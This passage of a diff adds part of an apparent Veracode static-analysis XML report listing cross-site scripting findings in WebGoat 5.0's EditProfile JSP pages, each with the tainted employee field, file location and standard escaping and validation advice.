+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
